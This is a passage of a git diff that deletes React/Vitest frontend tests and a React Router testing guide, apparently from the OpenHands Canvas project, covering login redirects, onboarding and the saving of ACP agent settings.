screen.queryByTestId("onboarding-progress-bar"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("add-backend-close")).not.toBeInTheDocument(); - expect( - screen.queryByTestId("add-backend-advanced-toggle"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("redirects unauthenticated locked-cookie deployments to main app login", async () => { - const assign = vi.fn(); - Object.defineProperty(window, "location", { - configurable: true, - value: { - ...ORIGINAL_LOCATION, - origin: "https://pr-254.staging.openhands.dev", - hostname: "pr-254.staging.openhands.dev", - pathname: "/canvas", - search: "?tab=home", - hash: "#top", - assign, - }, - }); - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://pr-254.staging.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - server.use( - http.post("*/api/authenticate", () => - HttpResponse.json({ error: "unauthenticated" }, { status: 401 }), - ), - ); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect(assign).toHaveBeenCalledWith( - "/login?returnTo=%2Fcanvas%3Ftab%3Dhome%23top", - ); - }); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("hides first-run onboarding immediately after Cloud login completes in locked-to-Cloud mode (no flicker)", async () => { - // Regression for hieptl's flicker report on PR #1389: after Cloud - // login succeeds in locked-to-Cloud mode, the onboarding modal's - // onClose marks onboarding complete. The root first-run gate must - // honor that completion IMMEDIATELY — without waiting for the Cloud - // settings probe to confirm a configured LLM — so the first-run - // screen disappears and the routed app renders, rather than the - // modal flickering back via OnboardingHost. This test simulates the - // post-login state (active locked Cloud backend + completion flag - // set by the modal's onClose) with the Cloud settings probe - // reporting NO configured LLM, which is exactly the window where - // the old LLM-readiness gate kept the first-run screen mounted and - // caused the reopen. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - const lockedCloud = { - id: "locked-cloud", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "cloud-session-key", - kind: "cloud", - }; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([lockedCloud]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: lockedCloud.id, orgId: null }), - ); - // The onboarding modal's onClose (markCompleted) sets this right - // after Cloud login succeeds — before the Cloud settings probe - // resolves. Seed it to reproduce the post-login moment. - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - __resetActiveStoreForTests(); - // Cloud settings probe reports no configured LLM. The completed - // onboarding flag should still hide first-run onboarding once the - // locked Cloud backend is active. - server.use( - http.get("https://app.all-hands.dev/api/v1/settings", () => - HttpResponse.json({ llm_api_key_set: false }), - ), - http.get("https://app.all-hands.dev/api/keys/current", () => - HttpResponse.json({ org_id: "org-1" }), - ), - ); - - renderApp(["/"]); - - // The first-run onboarding screen must NOT be mounted (no reopen), - // and the routed app must render instead. - await waitFor(() => { - expect(screen.getByTestId("app-outlet")).toBeInTheDocument(); - }); - expect( - screen.queryByTestId("first-run-onboarding-screen"), - ).not.toBeInTheDocument(); - expect(screen.queryByTestId("onboarding-modal")).not.toBeInTheDocument(); - }); -}); - -describe("App root document links", () => { - it("declares the SVG favicon used by the browser tab", () => { - // Act - const documentLinks = links(); - - // Assert - expect(documentLinks).toContainEqual({ - rel: "icon", - type: "image/svg+xml", - href: "/favicon.svg", - }); - }); - - it("prefixes document links when Canvas is mounted under a base path", () => { - // Arrange - vi.stubEnv("VITE_BASE_PATH", "/canvas"); - - // Act - const documentLinks = links(); - - // Assert - expect(documentLinks).toContainEqual({ - rel: "icon", - type: "image/svg+xml", - href: "/canvas/favicon.svg", - }); - - vi.unstubAllEnvs(); - }); -}); diff --git a/__tests__/router.md b/__tests__/router.md deleted file mode 100644 index 4214543c9..000000000 --- a/__tests__/router.md +++ /dev/null @@ -1,227 +0,0 @@ -# Testing with React Router - -## Overview - -React Router components and hooks require a routing context to function. In tests, we need to provide this context while maintaining control over the routing state. - -This guide covers the two main approaches used in the OpenHands frontend: - -1. **`createRoutesStub`** - Creates a complete route structure for testing components with their actual route configuration, loaders, and nested routes. -2. **`MemoryRouter`** - Provides a minimal routing context for components that just need router hooks to work. - -Choose your approach based on what your component actually needs from the router. - -## When to Use Each Approach - -### `createRoutesStub` (Recommended) - -Use `createRoutesStub` when your component: -- Relies on route parameters (`useParams`) -- Uses loader data (`useLoaderData`) or `clientLoader` -- Has nested routes or uses `` -- Needs to test navigation between routes - -> [!NOTE] -> `createRoutesStub` is intended for unit testing **reusable components** that depend on router context. For testing full route/page components, consider E2E tests (Playwright, Cypress) instead. - -```typescript -import { createRoutesStub } from "react-router"; -import { render } from "@testing-library/react"; - -const RouterStub = createRoutesStub([ - { - Component: MyRouteComponent, - path: "/conversations/:conversationId", - }, -]); - -render(); -``` - -**With nested routes and loaders:** - -```typescript -const RouterStub = createRoutesStub([ - { - Component: SettingsScreen, - clientLoader, - path: "/settings", - children: [ - { - Component: () =>
    , - path: "/settings", - }, - { - Component: () =>
    , - path: "/settings/mcp", - }, - ], - }, -]); - -render(); -``` - -> [!TIP] -> When using `clientLoader` from a Route module, you may encounter type mismatches. Use `@ts-expect-error` as a workaround: - -```typescript -import { clientLoader } from "@/routes/settings"; - -const RouterStub = createRoutesStub([ - { - path: "/settings", - Component: SettingsScreen, - // @ts-expect-error: loader types won't align between test and app code - loader: clientLoader, - }, -]); -``` - -### `MemoryRouter` - -Use `MemoryRouter` when your component: -- Only needs basic routing context to render -- Uses `` components but you don't need to test navigation -- Doesn't depend on specific route parameters or loaders - -```typescript -import { MemoryRouter } from "react-router"; -import { render } from "@testing-library/react"; - -render( - - - -); -``` - -**With initial route:** - -```typescript -render( - - - -); -``` - -## Anti-patterns to Avoid - -### Using `BrowserRouter` in tests - -`BrowserRouter` interacts with the actual browser history API, which can cause issues in test environments: - -```typescript -// ❌ Avoid -render( - - - -); - -// ✅ Use MemoryRouter instead -render( - - - -); -``` - -### Mocking router hooks when `createRoutesStub` would work - -Mocking hooks like `useParams` directly can be brittle and doesn't test the actual routing behavior: - -```typescript -// ❌ Avoid when possible -vi.mock("react-router", async () => { - const actual = await vi.importActual("react-router"); - return { - ...actual, - useParams: () => ({ conversationId: "123" }), - }; -}); - -// ✅ Prefer createRoutesStub - tests real routing behavior -const RouterStub = createRoutesStub([ - { - Component: MyComponent, - path: "/conversations/:conversationId", - }, -]); - -render(); -``` - -## Common Patterns - -### Combining with `QueryClientProvider` - -Many components need both routing and TanStack Query context: - -```typescript -import { createRoutesStub } from "react-router"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - }, -}); - -const RouterStub = createRoutesStub([ - { - Component: MyComponent, - path: "/", - }, -]); - -render(, { - wrapper: ({ children }) => ( - - {children} - - ), -}); -``` - -### Testing navigation behavior - -Verify that user interactions trigger the expected navigation: - -```typescript -import { createRoutesStub } from "react-router"; -import { screen } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; - -const RouterStub = createRoutesStub([ - { - Component: HomeScreen, - path: "/", - }, - { - Component: () =>
    , - path: "/settings", - }, -]); - -render(); - -const user = userEvent.setup(); -await user.click(screen.getByRole("link", { name: /settings/i })); - -expect(screen.getByTestId("settings-screen")).toBeInTheDocument(); -``` - -## See Also - -### Codebase Examples - -- [settings.test.tsx](routes/settings.test.tsx) - `createRoutesStub` with nested routes and loaders -- [home-screen.test.tsx](routes/home-screen.test.tsx) - `createRoutesStub` with navigation testing -- [chat-interface.test.tsx](components/chat/chat-interface.test.tsx) - `MemoryRouter` usage - -### Official Documentation - -- [React Router Testing Guide](https://reactrouter.com/start/framework/testing) - Official guide on testing with `createRoutesStub` -- [MemoryRouter API](https://reactrouter.com/api/declarative-routers/MemoryRouter) - API reference for `MemoryRouter` diff --git a/__tests__/routes/agent-settings.test.tsx b/__tests__/routes/agent-settings.test.tsx deleted file mode 100644 index e673ba53e..000000000 --- a/__tests__/routes/agent-settings.test.tsx +++ /dev/null @@ -1,873 +0,0 @@ -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { render, screen, waitFor } from "@testing-library/react"; -import userEvent from "@testing-library/user-event"; -import { MemoryRouter } from "react-router"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { AgentSettingsScreen } from "#/routes/agent-settings"; -import SettingsService from "#/api/settings-service/settings-service.api"; -import { SecretsService } from "#/api/secrets-service"; -import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers"; -import { Settings } from "#/types/settings"; - -// Stub the login-detection probe so the ACP credentials section doesn't spin a -// subprocess; default to no detected session so existing tests are unaffected. -const acpAuthStatusMock = vi.hoisted(() => vi.fn()); -vi.mock("#/hooks/query/use-acp-auth-status", () => ({ - useAcpAuthStatus: (...args: unknown[]) => acpAuthStatusMock(...args), -})); - -// Observe save toasts so we can assert the single Save shows one confirmation, -// not one per persisted thing (agent spec + credentials). -const toastMocks = vi.hoisted(() => ({ - success: vi.fn(), - error: vi.fn(), - warning: vi.fn(), -})); -vi.mock("#/utils/custom-toast-handlers", () => ({ - displaySuccessToast: toastMocks.success, - displayErrorToast: toastMocks.error, - displayWarningToast: toastMocks.warning, -})); - -function buildSettings(overrides: Partial = {}): Settings { - return { - ...MOCK_DEFAULT_USER_SETTINGS, - ...overrides, - agent_settings: - overrides.agent_settings ?? MOCK_DEFAULT_USER_SETTINGS.agent_settings, - }; -} - -function renderAgentSettingsScreen() { - return render(, { - wrapper: ({ children }) => ( - - - {children} - - - ), - }); -} - -describe("AgentSettingsScreen", () => { - beforeEach(() => { - vi.restoreAllMocks(); - vi.spyOn(SettingsService, "saveSettings").mockResolvedValue(true); - // The page owns the ACP credential form (single Save), so it reads/writes - // secrets even on non-ACP renders. - vi.spyOn(SecretsService, "getSecrets").mockResolvedValue([]); - vi.spyOn(SecretsService, "createSecret").mockResolvedValue(); - acpAuthStatusMock.mockReturnValue({ - status: "unknown", - isChecking: false, - isSupported: true, - }); - toastMocks.success.mockClear(); - toastMocks.error.mockClear(); - toastMocks.warning.mockClear(); - }); - - it("renders the agent type selector defaulting to OpenHands with sub-agents toggle", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - expect(screen.getByTestId("agent-type-selector")).toBeInTheDocument(); - // Sub-agents toggle visible on the OpenHands branch. - expect( - screen.getByTestId("agent-settings-enable-sub-agents"), - ).toBeInTheDocument(); - // ACP-only fields stay hidden on the OpenHands branch. - expect(screen.queryByTestId("agent-command-input")).not.toBeInTheDocument(); - }); - - it("labels the save button 'Save Changes' for consistency with other settings pages", async () => { - // Arrange — render with any valid settings; the label is independent - // of the form's state. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - - // Act - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - // Assert — t() is stubbed to return the key, so the rendered text is - // the translation key. SETTINGS$SAVE_CHANGES = "Save Changes" in - // public/locales/en/openhands.json; BUTTON$SAVE = "Save" (the bug). - expect(screen.getByTestId("agent-save-button")).toHaveTextContent( - "SETTINGS$SAVE_CHANGES", - ); - }); - - it("saves enable_sub_agents when toggling on the OpenHands path", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - enable_sub_agents: false, - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - // Toggle sub-agents on via the enclosing label - const toggle = screen.getByTestId("agent-settings-enable-sub-agents"); - const label = toggle.closest("label")!; - await user.click(label); - - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff).toEqual({ - agent_kind: "openhands", - enable_sub_agents: true, - tool_concurrency_limit: 1, - }); - }); - - it("saves tool_concurrency_limit when changed on the OpenHands path", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - enable_sub_agents: false, - tool_concurrency_limit: 1, - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - const input = screen.getByTestId("sdk-settings-tool_concurrency_limit"); - await user.clear(input); - await user.type(input, "4"); - - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - // Coerced to a number (not the raw input string) via the shared - // schema-driven coercion. - expect(call.agent_settings_diff?.tool_concurrency_limit).toBe(4); - }); - - it("hides sub-agents toggle when ACP is selected", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - // Sub-agents toggle should be visible initially - expect( - screen.getByTestId("agent-settings-enable-sub-agents"), - ).toBeInTheDocument(); - - // Switch to ACP - await user.click(screen.getByTestId("agent-type-selector")); - await user.click( - await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }), - ); - - // Sub-agents toggle should be hidden, ACP fields should appear - expect( - screen.queryByTestId("agent-settings-enable-sub-agents"), - ).not.toBeInTheDocument(); - expect(screen.getByTestId("agent-command-input")).toBeInTheDocument(); - }); - - it("shows the ACP form when the active agent_kind is acp", async () => { - // Use a model ID that isn't in CLAUDE_MODELS so the form falls through to - // the custom-input branch — that's the path this test is asserting (saved - // value round-trips into the visible input). Known IDs go through the - // dropdown instead and are covered separately. - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - acp_model: "my-pinned-fork-model", - }, - }), - ); - - renderAgentSettingsScreen(); - const commandInput = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - expect(commandInput.value).toBe( - "npx -y @agentclientprotocol/claude-agent-acp", - ); - const modelInput = screen.getByTestId( - "agent-model-input", - ) as HTMLInputElement; - expect(modelInput.value).toBe("my-pinned-fork-model"); - }); - - it("defaults built-in ACP providers to a suggested model when none is saved", async () => { - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: null, - }, - }), - ); - - renderAgentSettingsScreen(); - - await screen.findByTestId("agent-command-input"); - expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue( - "Claude Opus 4.8 (1M)", - ); - }); - - it("saves the selected built-in ACP model", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: null, - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-command-input"); - await user.click(screen.getByLabelText("SETTINGS$AGENT_MODEL")); - await user.click(await screen.findByText("Claude Haiku 4.5")); - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_model).toBe("haiku"); - }); - - it("clears the model when switching from a built-in provider to Custom", async () => { - // F3 from review: built-ins seed ``acp_model`` to their registered - // ``default_model`` on load. Picking Custom must not leak that built-in - // default into custom settings — otherwise a user choosing Custom from - // Claude Code would silently save ``acp_model: "claude-opus-4-7"`` on an - // unrelated wrapper. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: null, - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-command-input"); - // Form loads with the Claude Code default visible. - expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue( - "Claude Opus 4.8 (1M)", - ); - - // Switch to the Custom preset, then enter a different command — the - // form's ``selectedPreset`` re-derives from the command text, so the - // save path only treats it as Custom once the command no longer matches - // a built-in provider's default. - await user.click(screen.getByTestId("agent-preset-selector")); - await user.click( - await screen.findByRole("option", { - name: "SETTINGS$AGENT_PRESET_CUSTOM", - }), - ); - const commandInput = screen.getByTestId( - "agent-command-input", - ) as HTMLTextAreaElement; - await user.clear(commandInput); - await user.type(commandInput, "my-custom-acp --flag"); - - await user.click(screen.getByTestId("agent-save-button")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - // Custom preset has no registered default — saved acp_model must be null, - // not the inherited Claude Opus default. - expect(call.agent_settings_diff?.acp_server).toBe("custom"); - expect(call.agent_settings_diff?.acp_model).toBeNull(); - }); - - it("reconciles the model when the command is retyped to a different provider", async () => { - // Editing the command textarea (rather than the preset dropdown) into a - // different built-in provider must not leave the previous provider's model - // selected — otherwise Save would persist e.g. ``claude-opus-4-7`` against - // a Codex wrapper. The detected preset changes, so the model reconciles to - // the new provider's default. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_model: null, - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-command-input"); - expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue( - "Claude Opus 4.8 (1M)", - ); - - const commandInput = screen.getByTestId( - "agent-command-input", - ) as HTMLTextAreaElement; - await user.clear(commandInput); - await user.type( - commandInput, - "npx -y @agentclientprotocol/codex-acp@1.1.2", - ); - - // The model field now reflects the Codex default, not the stale Claude one. - expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue( - "GPT-5.5", - ); - - await user.click(screen.getByTestId("agent-save-button")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_server).toBe("codex"); - expect(call.agent_settings_diff?.acp_model).toBe("gpt-5.5"); - }); - - it("saves an ACP diff when switching to ACP + Claude Code", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - // Switching to ACP prefills the command from the first registered provider - // (Claude Code). - await user.click(screen.getByTestId("agent-type-selector")); - await user.click( - await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }), - ); - - const commandInput = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - expect(commandInput.value).toBe( - "npx -y @agentclientprotocol/claude-agent-acp@0.44.0", - ); - expect(screen.getByLabelText("SETTINGS$AGENT_MODEL")).toHaveValue( - "Claude Opus 4.8 (1M)", - ); - - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff).toEqual({ - agent_kind: "acp", - acp_server: "claude-code", - // The default-command path stores acp_command: [] and lets the registry - // resolve it on the agent-server side. Round-tripping verbatim would - // pin a stale command if the registry default changes upstream. - acp_command: [], - // ``acp_args: []`` is reset on every save so an API-set - // ``acp_args`` can't survive and concatenate onto the spawn - // command at conversation-create time. - acp_args: [], - acp_model: "opus[1m]", - }); - }); - - it("clears ACP fields when switching back to OpenHands", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - await user.click(screen.getByTestId("agent-type-selector")); - await user.click( - await screen.findByRole("option", { - name: "SETTINGS$AGENT_TYPE_OPENHANDS", - }), - ); - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff).toEqual({ - agent_kind: "openhands", - enable_sub_agents: false, - tool_concurrency_limit: 1, - }); - }); - - it("disables Save when the user has cleared the command on the ACP path", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - }, - }), - ); - - renderAgentSettingsScreen(); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - const save = screen.getByTestId("agent-save-button") as HTMLButtonElement; - - // Clear the field. Save should be disabled (the agent-server would - // crash on an empty acp_command and the adapter has no way to - // recover — better to block the save than silently submit garbage). - await user.clear(cmd); - expect(save).toBeDisabled(); - }); - - it("treats whitespace-only as empty and keeps Save disabled", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: ["npx", "-y", "@agentclientprotocol/claude-agent-acp"], - }, - }), - ); - - renderAgentSettingsScreen(); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - const save = screen.getByTestId("agent-save-button") as HTMLButtonElement; - await user.clear(cmd); - await user.type(cmd, " \t "); - expect(save).toBeDisabled(); - }); - - it("preserves a Custom command with quoted args end-to-end", async () => { - // Regression guard for the .split-vs-shell-quote bug: a Custom - // command like ``bash -c "echo hi"`` used to get tokenised as - // ``["bash","-c","\"echo","hi\""]`` and silently fail at spawn. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - await user.click(screen.getByTestId("agent-type-selector")); - await user.click( - await screen.findByRole("option", { name: "SETTINGS$AGENT_TYPE_ACP" }), - ); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - await user.clear(cmd); - await user.type(cmd, 'bash -c "echo hi"'); - await user.click(screen.getByTestId("agent-save-button")); - - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_command).toEqual([ - "bash", - "-c", - "echo hi", - ]); - // Anything that diverges from a built-in default-command snaps to - // the Custom preset. - expect(call.agent_settings_diff?.acp_server).toBe("custom"); - }); - - it("preserves the registry default when acp_command:[] + non-empty acp_args is loaded", async () => { - // Regression guard for the data-corruption bug: - // - // stored: acp_server: 'claude-code', acp_command: [], acp_args: - // ['--extra-arg'] - // actual spawn: ['npx', '-y', '@agentclientprotocol/claude-agent-acp', - // '--extra-arg'] - // - // The form used to merge acp_command + acp_args literally and would - // show only ``--extra-arg`` in the textarea. Saving then sent - // ``acp_command: ['--extra-arg']`` and flipped the preset to - // ``custom``, silently dropping the registry-default prefix. - // The load path must expand the default *before* merging with args. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "claude-code", - acp_command: [], - acp_args: ["--extra-arg"], - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - expect(cmd.value).toBe( - "npx -y @agentclientprotocol/claude-agent-acp@0.44.0 --extra-arg", - ); - - // Touch the form to mark it dirty (Save is disabled until isDirty), - // then submit. The data the form sends has to carry the registry- - // default prefix the user can now SEE in the textarea, not the bare - // ``--extra-arg`` that was stored. - await user.click(cmd); - await user.keyboard("{End} "); - await user.keyboard("{Backspace}"); - - await user.click(screen.getByTestId("agent-save-button")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_server).toBe("custom"); - expect(call.agent_settings_diff?.acp_command).toEqual([ - "npx", - "-y", - "@agentclientprotocol/claude-agent-acp@0.44.0", - "--extra-arg", - ]); - // ``acp_args: []`` resets the API-set args so they don't double up - // at spawn time. - expect(call.agent_settings_diff?.acp_args).toEqual([]); - }); - - it("preserves an unknown loaded acp_server when the user saves without editing", async () => { - // Data-corruption regression: a user with an ``acp_server`` value - // canvas's registry doesn't know about (e.g. set via the API for a - // future provider that hasn't been mirrored into ``ACP_PROVIDERS`` - // yet) opens Settings → Agent and clicks Save. Without preservation - // the save flow demotes ``acp_server: "amp"`` → ``acp_server: - // "custom"`` because ``detectPreset`` returns ``custom`` for any - // unknown server. The original key name is silently lost. - // - // The fix is narrow: when the user hasn't touched the command since - // load AND the loaded server is non-empty, non-``"custom"``, and - // absent from ``ACP_PROVIDERS``, write the loaded key back verbatim - // via the ``allowUnknownServer`` pass-through. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "amp", - acp_command: ["npx", "-y", "@some-future/amp-acp"], - acp_args: [], - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - expect(cmd.value).toBe("npx -y @some-future/amp-acp"); - - // Touch + revert the textarea to flip isDirty without changing - // the persisted command text — matches "user opens settings and - // hits Save without intending to change anything." - await user.click(cmd); - await user.keyboard("{End} "); - await user.keyboard("{Backspace}"); - - await user.click(screen.getByTestId("agent-save-button")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_server).toBe("amp"); - expect(call.agent_settings_diff?.acp_command).toEqual([ - "npx", - "-y", - "@some-future/amp-acp", - ]); - }); - - it("demotes an unknown loaded acp_server to 'custom' when the user edits the command", async () => { - // Counterpart to the preserve test: editing the command is a - // material change of configuration, so it's correct to drop the - // unknown ``amp`` key and fall back to ``"custom"``. The user is - // configuring a new command, not preserving the prior one — so - // the preset name follows the command. - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - schema_version: 1, - agent_kind: "acp", - acp_server: "amp", - acp_command: ["npx", "-y", "@some-future/amp-acp"], - acp_args: [], - }, - }), - ); - const save = vi.spyOn(SettingsService, "saveSettings"); - - renderAgentSettingsScreen(); - const cmd = (await screen.findByTestId( - "agent-command-input", - )) as HTMLTextAreaElement; - - // Actually change the command — append a flag so the textarea - // differs from the loaded value. - await user.click(cmd); - await user.keyboard("{End} --new-flag"); - - await user.click(screen.getByTestId("agent-save-button")); - await waitFor(() => { - expect(save).toHaveBeenCalledTimes(1); - }); - const call = save.mock.calls[0]?.[0] as { - agent_settings_diff?: Record; - }; - expect(call.agent_settings_diff?.acp_server).toBe("custom"); - expect(call.agent_settings_diff?.acp_command).toEqual([ - "npx", - "-y", - "@some-future/amp-acp", - "--new-flag", - ]); - }); - - it("a single Save persists ACP credentials together with the agent spec", async () => { - const user = userEvent.setup(); - vi.spyOn(SettingsService, "getSettings").mockResolvedValue( - buildSettings({ - agent_settings: { - ...MOCK_DEFAULT_USER_SETTINGS.agent_settings, - agent_kind: "openhands", - }, - }), - ); - const saveSettings = vi.spyOn(SettingsService, "saveSettings"); - const createSecret = vi.spyOn(SecretsService, "createSecret"); - - renderAgentSettingsScreen(); - await screen.findByTestId("agent-settings-screen"); - - // Switch to ACP (Claude Code prefilled) and paste a credential, then click - // the single page-level Save button. - await user.click(screen.getByTestId("agent-type-selector")); - await 